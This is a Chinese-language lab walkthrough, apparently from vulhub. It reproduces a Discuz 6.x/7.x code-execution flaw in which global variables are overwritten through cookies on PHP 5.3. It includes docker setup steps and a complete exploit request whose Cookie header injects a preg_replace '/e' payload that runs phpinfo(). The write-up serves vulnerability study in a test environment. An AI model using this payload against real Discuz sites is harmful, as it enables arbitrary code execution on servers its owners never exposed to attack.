Discuz 7.x6.x 全局变量防御绕过导致代码执行
0x01漏洞概述
由于php5.3.x版本里php.ini的设置里request_order默认值为GP,导致$_REQUEST中不再包含$_COOKIE,我们通过在Cookie中传入$GLOBALS来覆盖全局变量,造成代码执行漏洞。
具体原理请参考:
https://www.secpulse.com/archives/2338.html
0x02漏洞环境
1、启动漏洞环境
┌──(root💀kali)-[/home/kali/vulhub/discuz/wooyun-2010-080723]
└─# docker-compose up -d
2、访问漏洞环境
http://your-ip:8080/install/
数据库地址填写db,数据库名为discuz,数据库账号密码均为root。
3、复现完成后,清除漏洞环境
┌──(root💀kali)-[/home/kali/vulhub/discuz/wooyun-2010-080723]
└─# docker-compose down
0x03复现过程
1、安装成功以后,直接找一个已经存在的帖子,向其发送数据包,利用burpsite工具修改Cookie值
GET /viewthread.php?tid=13&extra=page%3D1 HTTP/1.1
Host: your-ip:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie:GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
2、修改完成后,点击发送请求,查看返回包
复现成功。